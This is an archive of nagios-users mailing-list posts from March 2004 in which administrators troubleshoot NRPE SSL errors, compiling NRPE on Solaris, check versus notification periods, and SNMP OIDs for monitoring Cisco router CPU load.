1.3.6.1.4.1.9.2.1.56.0 The OID for a 5 minute average is: 1.3.6.1.4.1.9.2.1.58.0 -----Original Message----- From: Yiannis Zimianitis [mailto:yiannis.zimianitis at sssltd.co.uk] Sent: Monday, March 01, 2004 9:30 AM To: 'Platt, Nicholas'; 'Serveur-Faucon Surveillance'; 'nagios-users at lists.sourceforge.net'; 'twelsh at square-box.com' Subject: RE: [Nagios-users] NRPE I run it but there are so many MIBs. It would be nice if you couls tell me which one is. Also I am trying to monitor the utilization of a link in a cisco router along with the CPU load Any ideas on how you go about Thanks Yiannis -----Original Message----- From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com ] Sent: 01 March 2004 13:25 To: 'Serveur-Faucon Surveillance'; 'nagios-users at lists.sourceforge.net'; 'twelsh at square-box.com' Subject: RE: [Nagios-users] NRPE Hello Everyone: I have checked the fact but my situation acts differently. I have the same issue with the error message, but it only happens after random time period. My Nagios to Linux checks works great! No problem. My Linux to NT works for a random time period and then quits. Is NRPE 2.0 and NRPE_NT different versions? Are they compatible? I've upgraded all DLL on the NT servers but the problems persist. Any suggestions would be appreciated. Thanks :) -----Original Message----- From: Serveur-Faucon Surveillance [mailto:SrvFaucon at cslaval.qc.ca ] Sent: Thursday, February 26, 2004 9:41 AM To: nagios-users at lists.sourceforge.net; twelsh at square-box.com Subject: [Nagios-users] R?p. : [Nagios-users] NRPE How about checking the FAQ? http://www.nagios.org/faqs/viewfaq.php?faq_id=191 &expand=false&showdesc=fals e Title: Debugging "CHECK_NRPE: Error - Could not complete SSL handshake" errors FAQ ID: F0191 --------------------------------------------------- Alexandre Racine Montr?al, Qu?bec, Canada >>> "Tom Welsh" 2004-02-25 10:48:09 >>> Hi all, Ive got NRPE installed and running but am getting the following error. CHECK_NRPE: Error - Could not complete SSL handshake. I can telnt to the port on the remote box so i know its there and running. What am i blatantly missing. i have it configured to run i9n INETD on a solaris 8 box. Im using tcpwrappers and the inetd.conf entry reads nrpe stream tcp nowait nagios /usr/local/bin/tcpd /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg --inetd Anyt pointer gratefyully taken Cheers Tom ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356 &alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id 56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id 56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From GWCOOK at mactec.com Mon Mar 1 15:46:41 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Mon, 1 Mar 2004 07:46:41 -0700 Subject: Nagios - Time Period Question Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA27D@golden-m.mactec.com> > Why would an active monitor completely ignore its associated time > period, let me explain. > > In services.cfg [snip] > > --- > > Yet this monitor continues to alarm outside of the specified time > period. > > Any Ideas? > Perhaps because you've changed the active check period, not the notification period. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Mon Mar 1 15:50:51 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Mon, 1 Mar 2004 09:50:51 -0500 Subject: REPOST: Problem With The Nagios Alias Message-ID: <5593DA408212D511B0910002A513501F0655921A@phsexch20.mgh.harvard.edu> I have set up the Apache server (1.3.29 w/ mod_ssl) such that a user will be automatically redirected to the secure port when logging into the system. The next thing I am doing is setting up the nagios ScriptAlias and Alias directives so the Nagios page comes up automatically. I have added the appropriate information to the httpd.conf file and have restarted the server. The problem I am encountering is the following: If I enter the server hostname with the nagios share, ie: http://nagios/nagios, I get the following error message: nagiosnagios could not be found. Please check the name and try again. If I first enter the server hostname, and then enter the nagios share, the welcome screen comes up without difficulty. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Mon Mar 1 15:55:59 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Mon, 1 Mar 2004 09:55:59 -0500 (EST) Subject: Compiling NRPE 2.0 on SunOS 5.7 In-Reply-To: <2FDA6C38B2BFD4119D2400D0B784BE6F06716DAB@stoexchange.state.fl.us> References: <2FDA6C38B2BFD4119D2400D0B784BE6F06716DAB@stoexchange.state.fl.us> Message-ID: On Mon, 1 Mar 2004, Platt, Nicholas wrote: > Hello: > > > > I fairly new to Nagios and I've come a long way. I currently have NPRE 2.0 > work on Linux and partially working on NT. I've not been able to compile > NPRE 2.0 on Solaris and when I type ./cofigure, I get the following message: Solaris doesn't come with a compiler unless you've paid a licensing fee. You'll need to install a compiler, such as gcc, on your system. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Mon Mar 1 15:54:36 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Mon, 1 Mar 2004 09:54:36 -0500 (EST) Subject: Nagios - Time Period Question In-Reply-To: <1078147971.23579.8.camel@spencer.lssi.net> References: <1078147971.23579.8.camel@spencer.lssi.net> Message-ID: On Mon, 1 Mar 2004, Spencer L Horn wrote: > Why would an active monitor completely ignore its associated time > period, let me explain. [...] > check_period ndafeed_release_monitor [...] > Yet this monitor continues to alarm outside of the specified time > period. check_period and notification_period are different things. Presumably the notification period defined in your template is for a longer period than ndafeed_release_monitor. If the service happens to be in a critical or warning state when you leave the check period, Nagios will stop checking to see if the service has recovered, but will continue to notify you of the down state as long as the notification period is valid, or until you re-enter the check period and Nagios discovers the service has recovered. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Mon Mar 1 16:10:30 2004 From: shorn at lssi.net (Spencer L Horn) Date: Mon, 01 Mar 2004 10:10:30 -0500 Subject: Nagios - Time Period Question In-Reply-To: <41FD7929498A174DAB86C45F28E0EC0D3EA27D@golden-m.mactec.com> References: <41FD7929498A174DAB86C45F28E0EC0D3EA27D@golden-m.mactec.com> Message-ID: <1078153830.23968.2.camel@spencer.lssi.net> Im confused. Doesnt the active_check field tell it when to check? and if it is out side of that time, thus should not check, thus should not notify since there should be no check to report on. so where would notification period come into play in this scenario? Thanks Spencer On Mon, 2004-03-01 at 09:46, Cook, Garry wrote: > > Why would an active monitor completely ignore its associated time > > period, let me explain. > > > > In services.cfg > [snip] > > > > --- > > > > Yet this monitor continues to alarm outside of the specified time > > period. > > > > Any Ideas? > > > > Perhaps because you've changed the active check period, not the > notification period. > > Garry W. Cook, CCNA > Network Infrastructure Manager > MACTEC, Inc. - http://www.mactec.com/ > 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Mon Mar 1 16:19:07 2004 From: shorn at lssi.net (Spencer L Horn) Date: Mon, 01 Mar 2004 10:19:07 -0500 Subject: Nagios - Time Period Question In-Reply-To: <41FD7929498A174DAB86C45F28E0EC0D3EA27D@golden-m.mactec.com> References: <41FD7929498A174DAB86C45F28E0EC0D3EA27D@golden-m.mactec.com> Message-ID: <1078154346.23968.6.camel@spencer.lssi.net> None the less i tried, and added both lines to the monitor, check_period ndafeed_release_monitor notification_period ndafeed_release_monitor reloaded and it popped back up early again, as i showed before this should not be executed until 10:15am per the time period. CRITICAL 03-01-2004 10:14:12 Any other ideas? Thanks agian, Spencer On Mon, 2004-03-01 at 09:46, Cook, Garry wrote: > > Why would an active monitor completely ignore its associated time > > period, let me explain. > > > > In services.cfg > [snip] > > > > --- > > > > Yet this monitor continues to alarm outside of the specified time > > period. > > > > Any Ideas? > > > > Perhaps because you've changed the active check period, not the > notification period. > > Garry W. Cook, CCNA > Network Infrastructure Manager > MACTEC, Inc. - http://www.mactec.com/ > 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From djimenez at pobox.com Mon Mar 1 16:33:06 2004 From: djimenez at pobox.com (Daniel Jimenez) Date: Mon, 01 Mar 2004 09:33:06 -0600 Subject: plugins In-Reply-To: <6EB459EB9287624B8440A1D285657FDE7BC67C@w2tsl65.corp.towersemi.com> References: <6EB459EB9287624B8440A1D285657FDE7BC67C@w2tsl65.corp.towersemi.com> Message-ID: <404357B2.7070605@pobox.com> Goldberg Alain (IT) wrote: > I have this in checkcommands.cfg > > define command { > command_name check_snmpif > command_line $USER1$/check_snmp -H > $HOSTADDRESS$ -o $ARG1$ -m IF-MIB > } > > the check_snmpif in this format spares a lot of MIB parsing. > > > and this in servicves.cfg: > > check_command check_snmpif!enterprises.9.2.1.58.0 -w > 1:50 -c 1:70 > > > will warn above 50% and critical above 70% This is for processor usage? -- Daniel Jimenez Tell your ISP to support SPF/SASL AUTH (http://spf.pobox.com) today! --------------------------------------------------------------------/ ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From andrew.delamare at mycloud.net Mon Mar 1 16:41:18 2004 From: andrew.delamare at mycloud.net (Andrew Delamare) Date: Mon, 1 Mar 2004 15:41:18 -0000 Subject: loading question Message-ID: Hi there, I guess this has been asked many times before but I wondered how people cope with monitoring over 3000 systems with Nagios. I am looking at just ping to the hosts and Snmp trap from the hosts. It would seem that Nagios in the past has had issues scaling with this many hosts using too much resource for or running out of processing/memory steam. I was also wondering if anyone has any experience with using snipes for monitoring large numbers of nodes and doing trap consolidation back into Nagios. Regards -- Andrew Delamare -------------- next part -------------- A non-text attachment was scrubbed... Name: winmail.dat Type: application/ms-tnef Size: 3344 bytes Desc: not available URL: From marc at ena.com Mon Mar 1 16:55:05 2004 From: marc at ena.com (Marc Powell) Date: Mon, 1 Mar 2004 09:55:05 -0600 Subject: Compiling NRPE 2.0 on SunOS 5.7 Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2C6@mismail2.ena.com> ________________________________ From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com] Sent: Monday, March 01, 2004 8:31 AM To: 'nagios-users at lists.sourceforge.net' Subject: [Nagios-users] Compiling NRPE 2.0 on SunOS 5.7 Hello: I fairly new to Nagios and I've come a long way. I currently have NPRE 2.0 work on Linux and partially working on NT. I've not been able to compile NPRE 2.0 on Solaris and when I type ./cofigure, I get the following message: voyager:netroot> ls Changelog README.SSL configure.in init-script.in nrpe.xinetd.in LEGAL SECURITY contrib install-sh src Makefile.in common init-script.debian.in nrpe.cfg.in subst.in README configure init-script.freebsd.in nrpe.spec update-version voyager:netroot> ./configure checking for a BSD compatible install... ./install-sh -c checking for gcc... no checking for cc... no configure: error: no acceptable cc found in $PATH Any help would be greatly appreciated. Is there a Solaris specific version of NRPE? Let me know. Thanks ----- There is only one version of NRPE, but as the error indicates, you must have a valid compiler on your system to be able to compile it. Do you have either gcc or cc installed on that system? If you do, you will need to add the path to it's location to your $PATH environment variable so that configure knows where to find it. It hasn't been able to locate it automagically. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From julia.mcwhirter at superh.com Mon Mar 1 17:14:12 2004 From: julia.mcwhirter at superh.com (McWhirter,Julia) Date: Mon, 1 Mar 2004 16:14:12 -0000 Subject: Compiling NRPE 2.0 on SunOS 5.7 Message-ID: <9FF3133289A7A84E81E2ED8F5E56B379D0C8B2@sh-uk-ex01.uk.w2k.superh.com> You need gcc in your PATH once you have installed it ! As was said before Solaris does not come with a "free" c compiler. Solaris free packages can be found here http://www.sunfreeware.com/ They install in /usr/local. Regards Julia McWhirter IT Manager SuperH (UK) Ltd First Floor Network House 2410 Aztec West Almondbury Bristol BS32 4QX Tel : 01454 465600 Tel (Direct) : 01454 465661 Tel (Mobile) : 07979 913494 Fax : 01454 465601 Email : julia.mcwhirter at superh.com www : www.superh.com -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Marc Powell Sent: Monday, March 01, 2004 3:55 PM To: Platt, Nicholas; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Compiling NRPE 2.0 on SunOS 5.7 ________________________________ From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com] Sent: Monday, March 01, 2004 8:31 AM To: 'nagios-users at lists.sourceforge.net' Subject: [Nagios-users] Compiling NRPE 2.0 on SunOS 5.7 Hello: I fairly new to Nagios and I've come a long way. I currently have NPRE 2.0 work on Linux and partially working on NT. I've not been able to compile NPRE 2.0 on Solaris and when I type ./cofigure, I get the following message: voyager:netroot> ls Changelog README.SSL configure.in init-script.in nrpe.xinetd.in LEGAL SECURITY contrib install-sh src Makefile.in common init-script.debian.in nrpe.cfg.in subst.in README configure init-script.freebsd.in nrpe.spec update-version voyager:netroot> ./configure checking for a BSD compatible install... ./install-sh -c checking for gcc... no checking for cc... no configure: error: no acceptable cc found in $PATH Any help would be greatly appreciated. Is there a Solaris specific version of NRPE? Let me know. Thanks ----- There is only one version of NRPE, but as the error indicates, you must have a valid compiler on your system to be able to compile it. Do you have either gcc or cc installed on that system? If you do, you will need to add the path to it's location to your $PATH environment variable so that configure knows where to find it. It hasn't been able to locate it automagically. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From almayirapinzon at yahoo.com Mon Mar 1 17:12:26 2004 From: almayirapinzon at yahoo.com (=?iso-8859-1?q?almayira=20pinzon?=) Date: Mon, 1 Mar 2004 10:12:26 -0600 (CST) Subject: Unsubcribe Message-ID: <20040301161226.35648.qmail@web40304.mail.yahoo.com> Please, I wanna unsubcribe from that list, Thanks. _________________________________________________________ Do You Yahoo!? Informaci?n de Estados Unidos y Am?rica Latina, en Yahoo! Noticias. Vis?tanos en http://noticias.espanol.yahoo.com ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Nick.Platt at myflorida.com Mon Mar 1 17:18:02 2004 From: Nick.Platt at myflorida.com (Platt, Nicholas) Date: Mon, 1 Mar 2004 11:18:02 -0500 Subject: plugins Message-ID: <2FDA6C38B2BFD4119D2400D0B784BE6F06716E01@stoexchange.state.fl.us> >From the PLUGINS directory, this is how you do it manually: cd /usr/lib/nagios/plugins [root at enms plugins]# ./check_snmp -H 192.168.24.1 -o .1.3.6.1.4.1.9.2.1.56.0 -C [CommunityString] SNMP OK - 2 It worked from me! >From the services file, you must configure the /usr/local/nagios/etc/checkcommands.cfg file match the same arguments: # 'check_snmp' command definition define command{ command_name check_snmp command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$ -w $ARG2$ -c $ARG3$ -P 1 -C $ARG4$ } You then can configure the /usr/local/nagios/etc/services.cfg define service{ use generic-service ; Name of service template to use host_name TestRouter service_description Check CPU is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups network-admins notification_interval 60 notification_period 24x7 notification_options c,u,r check_command check_snmp! .1.3.6.1.4.1.9.2.1.56.0!70!90!CommunityString -----Original Message----- From: Yiannis Zimianitis [mailto:yiannis.zimianitis at sssltd.co.uk] Sent: Monday, March 01, 2004 9:12 AM To: 'Goldberg Alain (IT)'; Yiannis Zimianitis; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] plugins It doesn't work I am afraid. The OID does not exist. Or better it does exist but its not the only one. Each interface has ifInOctets and ifOutOctets and when I tried to set the warning and critical limits always comes up with critical Thanks very much Any more ideas? -----Original Message----- From: Goldberg Alain (IT) [mailto:alain at towersemi.com] Sent: 29 February 2004 06:58 To: Yiannis Zimianitis; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] plugins I have this in checkcommands.cfg define command { command_name check_snmpif command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$ -m IF-MIB } the check_snmpif in this format spares a lot of MIB parsing. and this in servicves.cfg: check_command check_snmpif!enterprises.9.2.1.58.0 -w 1:50 -c 1:70 will warn above 50% and critical above 70% ____________________________________________________________________________ ____________________________________________________________________________ _________ Alain Goldberg - Network manager - CCDA/CCNA AGG-RIPE - Tower Semiconductors LTD. Tel : 972-4-6506003 Fax : 972-4-6547788 Cell: 972-64-209662 ____________________________________________________________________________ ____________________________________________________________________________ _________ _____ From: Yiannis Zimianitis [mailto:yiannis.zimianitis at sssltd.co.uk] Sent: Thursday, February 26, 2004 11:44 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] plugins I am after some plugins or any ideas on how to monitor cpu load on cisco routers. Also utilization on the links (serial - fastethernet etc) Thanks Yiannis -------------- next part -------------- An HTML attachment was scrubbed... URL: From yiannis.zimianitis at sssltd.co.uk Mon Mar 1 17:34:51 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Mon, 1 Mar 2004 16:34:51 -0000 Subject: Cisco Router CPU MIB Message-ID: <8A542229726CD711A63600508BB3D3EC201C3C@scntxms1.sss> Thanks very much for that. It works fine. I am trying to monitor the link utilization of a fast Ethernet of a 2600 series Cisco router. I run snmpwalk and I got quite a few descriptions. Has anyone done anything like that before? Can it be done with nagios? Are there any examples out there? Thanks very much for your help Yiannis -----Original Message----- From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com] Sent: 01 March 2004 14:44 To: 'Yiannis Zimianitis'; 'Serveur-Faucon Surveillance'; 'nagios-users at lists.sourceforge.net'; 'twelsh at square-box.com' Subject: Cisco Router CPU MIB The OID for a 5 second average is: 1.3.6.1.4.1.9.2.1.56.0 The OID for a 5 minute average is: 1.3.6.1.4.1.9.2.1.58.0 -----Original Message----- From: Yiannis Zimianitis [mailto:yiannis.zimianitis at sssltd.co.uk] Sent: Monday, March 01, 2004 9:30 AM To: 'Platt, Nicholas'; 'Serveur-Faucon Surveillance'; 'nagios-users at lists.sourceforge.net'; 'twelsh at square-box.com' Subject: RE: [Nagios-users] NRPE I run it but there are so many MIBs. It would be nice if you couls tell me which one is. Also I am trying to monitor the utilization of a link in a cisco router along with the CPU load Any ideas on how you go about Thanks Yiannis -----Original Message----- From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com ] Sent: 01 March 2004 13:25 To: 'Serveur-Faucon Surveillance'; 'nagios-users at lists.sourceforge.net'; 'twelsh at square-box.com' Subject: RE: [Nagios-users] NRPE Hello Everyone: I have checked the fact but my situation acts differently. I have the same issue with the error message, but it only happens after random time period. My Nagios to Linux checks works great! No problem. My Linux to NT works for a random time period and then quits. Is NRPE 2.0 and NRPE_NT different versions? Are they compatible? I've upgraded all DLL on the NT servers but the problems persist. Any suggestions would be appreciated. Thanks :) -----Original Message----- From: Serveur-Faucon Surveillance [mailto:SrvFaucon at cslaval.qc.ca ] Sent: Thursday, February 26, 2004 9:41 AM To: nagios-users at lists.sourceforge.net; twelsh at square-box.com Subject: [Nagios-users] R?p. : [Nagios-users] NRPE How about checking the FAQ? http://www.nagios.org/faqs/viewfaq.php?faq_id=191 &expand=false&showdesc=fals e Title: Debugging "CHECK_NRPE: Error - Could not complete SSL handshake" errors FAQ ID: F0191 --------------------------------------------------- Alexandre Racine Montr?al, Qu?bec, Canada >>> "Tom Welsh" 2004-02-25 10:48:09 >>> Hi all, Ive got NRPE installed and running but am getting the following error. CHECK_NRPE: Error - Could not complete SSL handshake. I can telnt to the port on the remote box so i know its there and running. What am i blatantly missing. i have it configured to run i9n INETD on a solaris 8 box. Im using tcpwrappers and the inetd.conf entry reads nrpe stream tcp nowait nagios /usr/local/bin/tcpd /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg --inetd Anyt pointer gratefyully taken Cheers Tom ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356 &alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id 56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id 56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From yiannis.zimianitis at sssltd.co.uk Mon Mar 1 17:45:08 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Mon, 1 Mar 2004 16:45:08 -0000 Subject: plugins Message-ID: <8A542229726CD711A63600508BB3D3EC201C3D@scntxms1.sss> That doesn't work for me I am afraid. The enterprises is not a valid OID. Any more ideas? Thanks Yiannis -----Original Message----- From: Daniel Jimenez [mailto:djimenez at pobox.com] Sent: 01 March 2004 15:33 To: Goldberg Alain (IT) Cc: Yiannis Zimianitis; nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] plugins Goldberg Alain (IT) wrote: > I have this in checkcommands.cfg > > define command { > command_name check_snmpif > command_line $USER1$/check_snmp -H > $HOSTADDRESS$ -o $ARG1$ -m IF-MIB > } > > the check_snmpif in this format spares a lot of MIB parsing. > > > and this in servicves.cfg: > > check_command check_snmpif!enterprises.9.2.1.58.0 -w > 1:50 -c 1:70 > > > will warn above 50% and critical above 70% This is for processor usage? -- Daniel Jimenez Tell your ISP to support SPF/SASL AUTH (http://spf.pobox.com) today! --------------------------------------------------------------------/ ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From yiannis.zimianitis at sssltd.co.uk Mon Mar 1 18:38:49 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Mon, 1 Mar 2004 17:38:49 -0000 Subject: plugins Message-ID: <8A542229726CD711A63600508BB3D3EC201C3E@scntxms1.sss> That's fine. That works and I implemented it. It refers to the CPU load but my question was about the link utilization Thanks yiannis. -----Original Message----- From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com] Sent: 01 March 2004 16:18 To: 'Yiannis Zimianitis' Cc: 'nagios-users at lists.sourceforge.net' Subject: RE: [Nagios-users] plugins >From the PLUGINS directory, this is how you do it manually: cd /usr/lib/nagios/plugins [root at enms plugins]# ./check_snmp -H 192.168.24.1 -o .1.3.6.1.4.1.9.2.1.56.0 -C [CommunityString] SNMP OK - 2 It worked from me! >From the services file, you must configure the /usr/local/nagios/etc/checkcommands.cfg file match the same arguments: # 'check_snmp' command definition define command{ command_name check_snmp command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$ -w $ARG2$ -c $ARG3$ -P 1 -C $ARG4$ } You then can configure the /usr/local/nagios/etc/services.cfg define service{ use generic-service ; Name of service template to use host_name TestRouter service_description Check CPU is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups network-admins notification_interval 60 notification_period 24x7 notification_options c,u,r check_command check_snmp! ..1.3.6.1.4.1.9.2.1.56.0!70!90!CommunityString -----Original Message----- From: Yiannis Zimianitis [mailto:yiannis.zimianitis at sssltd.co.uk] Sent: Monday, March 01, 2004 9:12 AM To: 'Goldberg Alain (IT)'; Yiannis Zimianitis; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] plugins It doesn't work I am afraid. The OID 